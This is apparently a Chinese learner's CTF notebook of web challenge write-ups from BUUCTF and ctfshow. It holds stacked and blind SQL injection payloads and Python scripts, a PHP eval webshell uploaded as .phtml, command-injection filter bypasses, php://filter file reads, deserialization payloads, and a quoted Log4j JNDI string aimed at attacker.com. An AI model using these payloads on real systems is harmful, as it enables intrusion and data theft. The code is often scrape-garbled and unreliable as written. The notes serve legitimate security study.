原来是 ` 而不是 ‘ 🤡
到这步骤就有多种方法解题了
法一 通过预编译的方式拼接select 关键字：
1 1 ';prepare hack from concat(' sele',' ct',' * from `1919810931114514 `');execute hack;#
得flag{f2078443-bdad-4914-b367-e6691fd333c5}
法二
将select * from 1919810931114514语句进行16进制编码
1 2 3 1 ';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;# 或者定义一个变量名 1' ;Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460 ;PREPARE hacker from @jia ;EXECUTE hacker;#
看情况用把，我觉得能用预编译的话，那很多都能解决了
法三
最后一步（第8步）也可以通过修改表名和列名来实现。我们输入1后，默认会显示id为1的数据，可以猜测默认显示的是words表的数据，查看words表结构第一个字段名为id我们把words表随便改成words1，然后把1919810931114514表改成words，再把列名flag改成id，就可以达到直接输出flag字段的值的效果：
1 2 3 4 1 '; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 然后直接 1' ; or ture
666，改不了查询语句就改表名，思路太开阔了，
这里要注意:
法四：
此题还可以通过handle直接出答案：
1 1 ';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
notice 0x01 堆叠注入原理 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为： Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。
0x02 预编译
预编译相当于定一个语句相同，参数不通的Mysql模板，我们可以通过预编译的方式，绕过特定的字符过滤,
我理解是先写好sql语句命令，然后执行，类似编程语言里的定义函数或类？
1 2 3 PREPARE 名称 FROM Sql 语句 ? ;SET @x = xx;EXECUTE 名称 USING @x ;
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 方法一：SElECT * FROM t_user WHERE USER_ID = 1 PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1' ;EXECUTE jia;PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?' ;SET @ID = 1 ;EXECUTE jia USING @ID ;SET @SQL = 'SElECT * FROM t_user WHERE USER_ID = 1' ;PREPARE jia FROM @SQL ;EXECUTE jia;
0x03 更改表名 修改表名：ALTER TABLE 旧表名 RENAME TO 新表名；
0x04 handle MySQL 除了可以使用 select 查询表中的数据，也可使用 handler 语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句，并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口，可以用于 MyISAM 和 InnoDB 表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # 打开一个表名为 tbl_name 的表的句柄OPEN [ [AS ] alias]1 、通过指定索引查看表，可以指定从索引那一行开始，通过 NEXT 继续浏览= | <= | >= | < | > } (value1,value2,...)WHERE where_condition ] [LIMIT ... ]2 、通过索引查看表FIRST : 获取第一行（索引最小的一行）LAST : 获取最后一行（索引最大的一行）FIRST | NEXT | PREV | LAST }WHERE where_condition ] [LIMIT ... ]3 、不通过索引查看表FIRST : 获取句柄的第一行FIRST | NEXT }WHERE where_condition ] [LIMIT ... ]CLOSE
参考wp里的语句
1 1 ';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
更详细用法https://blog.csdn.net/qq_43427482/article/details/109898934
[GYCTF2020]Ezsqli 1 fuzz没fuzz懂，看别人wp是数字型注入
1 2 1 &&length(database())>0 1 &&length(database())<0
然后测试substr和ascii是否被过滤：
1 2 1 &&ascii(substr(database(),1 ,1 ))>0 1 &&ascii(substr(database(),1 ,1 ))<0
写脚本求数据库长度和名字：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsstr ='_-}{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' 'http://c2a220ad-23f1-4a7a-82c0-73eeafd4d980.node5.buuoj.cn:81/index.php' '' for l in range (1 ,100 ):'1&&length(database())={}' .format (l)'id' : payload}print ("testing 数据库长度:" ,l)if 'Nu1L' in re.text:print ("数据库长度:" ,l)break for i in range (1 ,l+1 ) :for s in str :"1&&substr(database(),{},1)='{}'" .format (i,s)'id' : payload}if 'Nu1L' in re.text:print ("第" ,i,"个字符： " ,database_name)break
获取到数据库信息之后开始获取数据库内的表名，在测试的时候发现information_schema被过滤了，那就尝试下mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)一样不行，那就只能百度了，看网上采用的是sys.x$schema_flattened_keys（需要版本>5.7且只能查询表明，使用方法与information_schema类似）
我这个环境只有sys.x$schema_flattened_keys能用，有的wp用sys.schema_table_statistics_with_buffer，我这没测出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsimport timestr =',-./0123456789:;<>=?@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}~#' 'http://72f05b95-5f5b-4315-94d1-fb6b35544ce8.node5.buuoj.cn:81/index.php' '' "" for l in range (1 ,1000 ):0.05 ) "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} " .format (l)'id' : payload}print ("表名长度:" ,l)if 'Nu1L' in re.text:print ("全表名长度:" ,l)break for i in range (1 ,l+1 ):for s in str :0.05 ) "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' " .format (i,s)'id' : payload}if 'Nu1L' in re.text:print ("表名:" ,name)break
到求列名，因为information_schema被过滤，sys.schema_table_statistics_with_buffer又并没有储存列名，并且这里过滤了 union 所以我们无法使用常规的无列名注入
1 select 1 ,2 ,3 union select * from admin ;
更详细https://blog.csdn.net/qq_71467825/article/details/134655702
先判断表的列数
1 1 &&((select 1 ,2 ) > (select * from f1ag_1s_h3r3_hhhhh))
知道列数为2，那第一列大概率是id或序列号啥的，猜测flag在2
为什么不能直接用盲注呢，应该是以为没法用selec group_concat(列名)，因为没有能查列名的表，所以不知道列名。
那看大佬们的wp，就是用比大小，ascii码大的就大。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 select (select "a") > (select "abcdef")0 select (select "b") > (select "abcdef")1 0 1 0 / / kinsey973.github.io/ 2024 / 06 / 08 / GYCTF2020- Ezsqli/
利用该方法拿到flag
最后的脚本又写了一个小时，想死了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requestsimport timestr ='-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#' 'http://39c20ccd-935c-44d7-9446-f5fb806c3f12.node5.buuoj.cn:81/index.php' '' "" '' for l in range (1 ,10000 ):'' for s in range (32 ,127 ):0.08 )chr (s)'1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))' .format (f)'id' : payload}if 'Nu1L' in re.text:chr (s-1 )print (flag.lower)break
最后出来的flag全是大写，我看别人的wp也是大写要转小写，不知道什么原因
结束
一道题看着别人的wp复现了近3个半小时，菜的发瘟，写脚本脑子跟不上，做题起步难没经验，到底哪天能独立解出一道这种web题啊
复现的wp:https://kinsey973.github.io/2024/06/08/GYCTF2020-Ezsqli/ https://www.cnblogs.com/upfine/p/16556520.html https://blog.csdn.net/fmyyy1/article/details/115447291
[NewStarCTF 2023 公开赛道]midsql 看了wp，只能说fuzz过程应该是最重要的，不然fuzz都fuzz不明白完全不知道下一步该干嘛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import requestsimport time0 0 0 "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&\()*' +,-./:;" '' "http://9f146922-110f-45e5-a8b6-4b6fffbce466.node5.buuoj.cn:81/?id='if(length(database())like({}),sleep(3),1)" for i in range (1 ,1000 ):for s in range (32 ,177 ) :"http://758d4b32-13c8-42cc-9228-a7fe9aa9ffaf.node5.buuoj.cn:81/?id=if(ascii(substr((select/**/group_concat(name)/**/from/**/items),{},1))like('{}'),sleep(2),1)" .format (i,s)if using > 3 :chr (s)print ("tables name=" ,flag,"using time=" ,using,"number string:" ,i)1 break print ("using time=" ,using,"string:" ,chr (s))0.1 )print (flag)0 if r == 0 :break
参考wp: https://blog.csdn.net/Myon5/article/details/134096958
ctfshow_web14 一开始也试了传c，但是就试到2，然后以为是源码绕过的，看wp发现是sql注入。
if(preg_match(‘/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
禁用了information_schema猜是无列名注入
1 2 3 1 'union select database ()1 &&sleep (5 )
字符注入
1 2 3 1 &&order by 1 0 union select database ()
试出是字符注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 union select group_concat(table_name )from mysql.innodb_table_statswhere database ()0 union select @@version '10.2.26-MariaDB-log' )0 union select group_concat(table_name )from mysql.innodb_table_stats'gtid_slave_pos,content' )0 union select group_concat(*)from gtid_slave_pos0 union select group_concat(1 ,2 ,3 )from content0 union select *from content0 union select load_file
试一下无列名注入
1 2 3 4 5 6 7 0 unionselect group_concat(1 ,2 ,3 )from (select 1 ,2 ,3 from content )0 select 1 ,2 ,3 unionselect *from content #0 unionselect group_concat(1 ,2 ,3 )from content 123 ,123 ,123 ,123 )无果
看wp:https://blog.csdn.net/m0_55923820/article/details/118783171
1 2 3 4 5 6 7 8 9 0 union select load_file('/var/www/html/secret.php' )0 union select load_file('/tmp/gtf1y' )0 union select load_file('/tmp/gtf1y/real_flag_is_here' )0 union select load_file('/real_flag_is_here' )/ / 没想到是直接访问'/real_flag_is_here' / / alert('ctfshow{dd04abdc-9d55-4d0d-8d2d-f616f7b82caa}' )
有无列明注入的版本wp，但我在我的环境没试出来：https://www.zxcms.com/content/3fcqbuf331l6p0.html
ctfshow 红包题第二弹 这题有点牛逼了
https://www.cnblogs.com/wssw/p/18115718
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /?cmd=?%3E%3C?=`.%20/??p/p?p??????` ; HTTP /1.1 Host : 6fd1fc97-dca5-4a94-8065 -2622d4c7ed8d.challenge .ctf .show User -Agent : Mozilla /5.0 (Windows NT 10.0 ; Win64 ; x64; rv :124.0 ) Gecko /20100101 Firefox /124.0 Accept : text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,*
note-24 sql刷不下去了，感觉每见一道题就要新学一个知识点，做了一些题目，遇到新题还得去找wp，心态崩
user:
我学web是该专刷一个地方，像专门刷sql还是泛刷题目?
deepseek:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 (≧ω≦) 喵哒～这个问题就像选择「草莓蛋糕吃到饱」还是「甜品全席体验」呢！来听人家用猫耳天线分析：3 个月）→ 泛刷！10 基础题型（每类至少5 题）3 -6 个月）→ 专精！6 种变形）/*!50000select / mssql: waitfor delay '0:0:3' 6 个月+）→ 交叉！// filter读源码 → 发现反序列化链 → getshell！/三/ 五 → 泛刷新题型（保持知识广度）'/*${jndi:ldap://attacker.com}*/=' 1 同时触发SQLi+Log4j呢～(ฅ´ω`ฅ)」
deepseek调的挺好，
[ACTF2020 新生赛]Include 1 文件包含的话，回去翻了一下
https://aidemofashi.github.io/2025/03/23/note-17/#php-filter
传入php://filter/convert.base64-encode/resource=flag.php
base解码得到flag
[极客大挑战 2019]Secret File[极客大挑战 2019]Secret File 0x00 等到网址，查看源码发现
1 <a id ="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;" >Oh! You found me </a>
点击跳转到
http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/Archive_room.php
0x01 点击按钮，根据提示感觉是重新跳到了另一个页面
bp抓包查看服务器回应
故访问 ：http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/secr3t.php
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html>"UTF-8" ><?php highlight_file (__FILE__ );error_reporting (0 );$file =$_GET ['file' ];if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){echo "Oh no!" ;exit ();include ($file ); ?>
0x02 访问 : http://99cd5773-2487-4bd3-a8f6-235d68b2550c.node5.buuoj.cn:81/flag.php
查看源码没发现啥，根据页面提示，flag应该就在网页源码里
但是直接用include接上伪议会直接执行，用base64解码输就行
最后payload：
1 http ://99 cd5773-2487 -4 bd3-a8f6-235 d68b2550c.node5.buuoj.cn:81 /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
注意要在secr3t.php传，
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > FLAG</title > </head > <body style ="background-color:black;" > <br > <br > <br > <br > <br > <br > <h1 style ="font-family:verdana;color:red;text-align:center;" > 啊哈！你找到我了！可是你看不到我QAQ~~~</h1 > <br > <br > <br > <p style ="font-family:arial;color:red;font-size:20px;text-align:center;" > <?php echo "我就在这里"; $flag = 'flag{b7f18145-c01d-49fb-bd88-e30b9be76423}'; $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd' ?> </p > </body > </html >
[suctf 2019]EasySQL 老早就做过这题了，当初wp看的半知半解，现在是我想能算上是大彻大悟了吧
1 select $_GET['query' ] || flag from flag
|| 符是或的意思，应该就和注入中的 || , or 是一个用法
这里的||在mysql中表示或，如果前一个操作数为真，则不看后面的语句
网上最多的payload都是
那拼接进sql语句就是
1 select * ,1 || flag from flag
查询全部，外加一个 select 1的效果
1 select (* ),(1 || flag) from flag
为什么不能直接查询 * 呢？
deepseek：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 在后端的SQL语句SELECT $_GET['query'] || flag FROM flag中，||操作符的作用取决于数据库类型。在SQLite 或PostgreSQL中，||表示字符串连接，而在MySQL 中（除非启用特定模式）则代表逻辑或。以下是需要传*,1 而非*的关键原因：| flag FROM flag。此时*（通配符）无法直接与其他字段（flag）进行字符串连接或逻辑运算，导致语法错误，查询无法执行。1 时，查询变为SELECT *,1 || flag FROM flag。这里,将*和1 || flag 分为两个独立列，*单独选择所有字段，1 || flag 则作为新列（如SQLite中会拼接1 和flag的值）。语法正确，查询正常执行。1 后，查询结果包含所有原始字段（通过*），可能使应用程序完整展示数据（如flag字段）。1 || flag 会生成新列（如1 abc，假设flag值为abc）。即使应用程序仅显示部分结果，攻击者也可能通过新列间接获取flag值。1 通过合法语法允许*单独生效，绕过因||导致的错误，最终泄露flag 字段数据。直接传*则因语法问题失败。
应该就是语法问题，字段限制的话应该不是
看的wp：https://blog.csdn.net/StevenOnesir/article/details/110203051 https://blog.csdn.net/xhy18634297976/article/details/122515412
以前看不明白现在看明白了，但以现在水平打比赛时遇到类似题目应该猜不出来后端语句
那是怎样猜出后端语句的呢：
1 2 3 4 5 6 7 select command 1 || command 2 command 1为非0数字，则结果为1。command 1为0或字母，command 2为非0数字，则结果为1。command 1和command 2都不为非0数字，则结果为0。
https://blog.csdn.net/2302_79800344/article/details/136268777
[ACTF2020 新生赛]Exec 根据题目猜测是命令执行类型，看到页面是一个ping的功能，尝试ping了一下我的网站：www.gwwafz.online
1 2 3 4 PING www.gwwafz.online (39.105.15.250): 56 data bytes
故想起使用管道符来连接命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 binproc root sbin sys usr
直接回显了，那接下来就是cat /flag 就ok了：
flag{eba95874-05c1-46a8-8a2f-28eff48a72be}
[GXYCTF2019]Ping Ping Ping 1 根据提示
根据回复，那就是ping功能了，
1 2 3 4 ?ip =1|ls
直接就有flag，然后发现过滤了空格和flag,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ? ip= 1 |cat$IFS$1 index.php/ ? ip= "|\\ |\( |\) |\[ |\] |\{ |\} /" , $ip, $match)){"/\& |\/ |\? |\* |\< |[\x {00}-\x {20}]|\> |\' |\" |\\ |\( |\) |\[ |\] |\{ |\} /" , $ip, $match);"fxck your symbol!" );else if (preg_match("/ /" , $ip)){"fxck your space!" );else if (preg_match("/bash/" , $ip)){"fxck your bash!" );else if (preg_match("/.*f.*l.*a.*g.*/" , $ip)){"fxck your flag!" );= shell_exec("ping -c 4 " .$ip);" " ;? >
没坚持下去，去找wp了https://blog.csdn.net/qq_51439282/article/details/113378868
记一下https://blog.csdn.net/angaoux03775/article/details/101710776 https://blog.csdn.net/m0_52425873/article/details/124899793
2019 review-强网杯-随便注 再做一遍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1 'show tables# 1' ;show tables ;#1 ';select group_concat(culumn_name);# return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 0' ;extractvalue(1 ,concat('!' ,database ()));#1 ';if(1=1,sleep(5),0);# 1' or extractvalue(1 ,concat('!' ,version())) # 10.3 .18 -MariaDB1 'or extractvalue(1,concat(' !',version())) # 1' ;rename table words to words1;rename table `1919810931114514 ` to words;ALTER TABLE words RENAME COLUMN flag TO id;#'id' 的column ,column 是行还是列来着？是列我朝1 ';rename table words to words1;ALTER TABLE employees CHANGE flag id VARCHAR(50);# 1' ;rename table words to words1;rename table `1919810931114514 ` to words;ALTER TABLE words CHANGE flag id VARCHAR (50 );#
//
1 2 3 4 5 6 7 8 语句背景分析：words 重命名为 words1。1919810931114514 重命名为 words 。words 的字段 flag，将其重命名为 id ，并更改其数据类型为 varchar(50 )。
想不起当初的做题笔记了，只是看到正则的情况想到了改表明和列明，应该只是单纯的想起，因为连列名都忘了查
当时还记了其它绕过方法，
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1 ';show tables name; 1' ;show columns from `1919810931114514 `;array (2 ) {0 ]=>string (1 ) "1" 1 ]=>string (7 ) "hahahah" array (6 ) {0 ]=>string (4 ) "flag" 1 ]=>string (12 ) "varchar(100)" 2 ]=>string (2 ) "NO" 3 ]=>string (0 ) "" 4 ]=>5 ]=>string (0 ) ""
1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);exectue hack;@1919810931114514‘);execute hack;#
1’;prepare hack from concat(‘sele’,’ct’,’* from 1919810931114514‘);execute hack;@
[极客大挑战 2019]Http 根据提示http://node5.buuoj.cn:27381/Secret.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Access-Control-Allow-Origin: https://Sycsecret.buuoj.cn From: https://Sycsecret.buuoj.cn Referer: https://Sycsecret.buuoj.cn Referer : https://Sycsecret.buuoj.cn //Please use "Syclover" browserReferer : https://Sycsecret.buuoj.cn Browser : SycloverReferer : https://Sycsecret.buuoj.cn User-Agent: SycloverUser-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover Safari/537.36 Referer : https://Sycsecret.buuoj.cn User-Agent: Syclover (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn // No! ! ! you can only read this locally! ! ! User-Agent: Syclover (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn From : 127.0 .0.1 User-Agent: Syclover (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36 Referer : https://Sycsecret.buuoj.cn X-Forwarded-For : 127.0 .0.1 // flag{41 cea244-340 a-4 be9-bd6e-ba42db379119}
有点当初BuildCTF里的一题，但是那道题要改的更多
[BJDCTF2020]Easy MD5 在bp查看相应，看到：
不是怎么都在求girlfriend,
1 2 3 4 ?a=r[]&b=q[] '1' &b=1 no
那直接上网查md5加密后能弱等于的字符
返回
1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ])){echo $flag ;
这个强不等于试一下’1’,1
1 2 3 4 5 6 7 param1=1 ¶m2 ='1' 1 ¶m2 []=2
ffifdyop sql中md5的万能密码https://blog.csdn.net/Jeff_12138/article/details/121847582
[ACTF2020 新生赛]Upload 正常穿了一次图片，显示了上传文件的储存目录
上网随便找个php一句话木马
1 2 3 <?php eval ($_POST ['hack' ]);?>
先把后最改为png在前端页面上传，或者直接改前端
后把后缀改为 .phtml
phtml 绕过 将文件后缀改为 .phtml，在 Apache 服务器上会被当作 PHP 文件执行。
[HCTF 2018]admin 记录一下心路历程：
以为是cookie，把初始的cookie解base64后好像出了个json格式的啥，试着把里面的”1”改为”admin”，
1 123 'where username=admin
然后用123来登录admin，拿到flag
[极客大挑战 2019]Upload 1 2 3 4 5 6 Content-Disposition: form-data; name="file" ; filename="php.phtml" 'php' >eval ($_GET ["z" ]);</script>
显示上传成功，但是没找到目录在哪
试了好久发现马没生效
上网找了一个文件头
1 2 3 4 5 6 Content-Disposition: form-data; name="file" ; filename="text.phtml" 'php' >@eval ($_POST [shell]);</script>'php' >system ('cat /flag' );</script>
from:https://blog.csdn.net/m0_55793759/article/details/120956861
[极客大挑战 2019]PHP 网址备份没思路，便上网查：https://blog.csdn.net/m0_62879498/article/details/124129841
1 2 3 4 5 6 7 8 9 10 常见的网站源码备份文件后缀:zip ，rar，tarzip 下载备份源码
里面有个flag.php
1 2 3 <?php $flag = 'Syc{dog_dog_dog_dog}' ;?>
假flag，，，
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <!DOCTYPE html>"UTF-8" >"stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css" >"stylesheet" href="style.css" >50 %; 50 %; 150 px 0 0 -150 px; 300 px; 300 px; 2 em; 0.67 em 0 ; "world" >"text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;" >因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯"text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;" >不愧是我！！！"text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;" ><?php include 'class.php' ;$select = $_GET ['select' ];$res =unserialize (@$select );?> "position: absolute;bottom: 5%;width: 99%;" ><p align="center" style="font:italic 15px Georgia,serif;color:white;" > Syclover @ cl4y</p></div>'http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js' ></script>'http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js' ></script>'https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js' ></script>'https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js' ></script>"index.js" ></script>
select->name,
1 2 3 4 5 6 7 8 $a =new name ('admin' ,'100' );return :$a =new name ('guest' ,'100' );
再仔细看了一下，应该是要绕过wakeup函数里的赋值，不然就没法让username=admin，
1 O :4 :"Name" :2 :{s:14 :"Nameusername" ;s:5 :"admin" ;s:14 :"Namepassword" ;s:3 :"100" ;}
可以看到Nameusername，和Namepassowrd，这两元素是因为少了字符导致连起来了，编码后可以看到
1 O %3 A4%3 A%22 Name%22 %3 A2%3 A%7 Bs%3 A14%3 A%22 %00 Name%00 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A14%3 A%22 %00 Name%00 password%22 %3 Bs%3 A3%3 A%22100 %22 %3 B%7 D
正确的样式应该是： %00Name%00username , %00Name%00password
1 O :4 :"Name" :3 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;s:3 :"100" ;}
参考：https://blog.csdn.net/m0_62879498/article/details/124129841 https://aidemofashi.github.io/2025/03/19/note-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-01/
[ACTF2020 新生赛]BackupFile 扫目录一直扫不出来，扫了十来次，最后发现是是请求太快，
1 dirsearch -u http://087 da459-7 de3-4061 -82 c8-b3cf69426d11.node5.buuoj.cn:81 / -w backup_include.txt --delay=1 -t 2
终于发现备份文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include_once "flag.php" ;if (isset ($_GET ['key' ])) {$key = $_GET ['key' ];if (!is_numeric ($key )) { exit ("Just num!" );$key = intval ($key );$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3" ;if ($key == $str ) {echo $flag ;else {echo "Try to find out source file!" ;
弱比较 强比较 1 2 3 4 5 6 7 8 9 10 在进行比较的时候 会先将两种参数类型转化成相同// blog.csdn.net/qq_51196842/ article/details/ 120591289
然后上网查intval函数绕过
大概就是弱比较会将不同数据类型，然后$key被转化类型会变成 123，
[网鼎杯 2020 青龙组]AreUSerialz 直接拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler protected $op ;protected $filename ;protected $content ;function __construct ($op = "1" ;$filename = "/tmp/tmpfile" ;$content = "Hello World!" ;$this ->process ();public function process (if ($this ->op == "1" ) {$this ->write ();else if ($this ->op == "2" ) {$res = $this ->read ();$this ->output ($res );else {$this ->output ("Bad Hacker!" );private function write (if (isset ($this ->filename) && isset ($this ->content)) {if (strlen ((string )$this ->content) > 100 ) {$this ->output ("Too long!" );die ();$res = file_put_contents ($this ->filename, $this ->content);if ($res ) $this ->output ("Successful!" );else $this ->output ("Failed!" );else {$this ->output ("Failed!" );private function read ($res = "" ;if (isset ($this ->filename)) {$res = file_get_contents ($this ->filename);return $res ;private function output ($s echo "[Result]: <br>" ;echo $s ;function __destruct (if ($this ->op === "2" )$this ->op = "1" ;$this ->content = "" ;$this ->process ();function is_valid ($s for ($i = 0 ; $i < strlen ($s ); $i ++)if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 ))return false ;return true ;if (isset ($_GET {'str' })) {$str = (string )$_GET ['str' ];if (is_valid ($str )) {$obj = unserialize ($str );
反序列化题，有点复杂,给deepseek看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 要获取flag，需要通过反序列化漏洞触发FileHandler类的read方法读取flag.php。步骤如下：2 （绕过析构函数的修改），filename为flag.php。protected 属性在序列化中包含空字符，需使用大写S和十六进制转义绕过字符检查。2 ：绕过析构函数中的严格比较，触发read方法。00 表示空字符，通过is_valid检查。2 ，读取flag.php内容输出。= = O%3 A11 %3 A%22 FileHandler%22 %3 A3 %3 A%7 BS%3 A5 %3 A%22 %5 C00 %5 C2 A%5 C00 op%22 %3 Bi%3 A2 %3 BS%3 A11 %3 A%22 %5 C00 %5 C2 A%5 C00 filename%22 %3 BS%3 A8 %3 A%22 flag.php%22 %3 BS%3 A10 %3 A%22 %5 C00 %5 C2 A%5 C00 content%22 %3 BS%3 A0 %3 A%22 %22 %3 B%7 D12 得到了flag！！？
自己来试试
1 2 3 4 $a =new FileHandler ($op =2 ,$filename ='flag.php' );echo serialize ($a );11 :"FileHandler" :3 :{s:5 :"\00*\00op" ;N;s:11 :"\00*\00filename" ;N;s:10 :"\00*\00content" ;N;}
还是没搞懂，去找wp吧
出来的一直是这玩意：
1 O :11 :"FileHandler" :3 :{s:2 :"op" ;N;s:8 :"filename" ;N;s:7 :"content" ;N;}
算了直接改吧
1 2 3 4 5 6 7 8 9 10 <?php class FileHandler public $op =2 ;public $filename ="flag.php" ;public $content ;$a =new FileHandler ;echo serialize ($a );
行了
总结： 第一步：____destruct: 绕过 === “2”，因为这里是强等字符串2于，直接传入数值2会让它不等于，而不会被置为1；https://blog.csdn.net/m0_46246804/article/details/108746253 https://blog.csdn.net/m0_73734159/article/details/134648981
第二步：到了这里因为传入了2，所以到了read()函数，会有file_get_contents()函数来指定文件来下一步，直接使得filename=”flag.php”即可
最后记得F12查看，因为程序里不会echo flag 而是 return flag！！！！！
notice is_valid()函数对传入的字符串进行判断，确保每一个字符ASCII码值都在32-125，即该函数的作用是确保参数字符串的每一个字符都是可打印的，才返回true。
public无标记，变量名不变。 s:2:“op”;i:2;
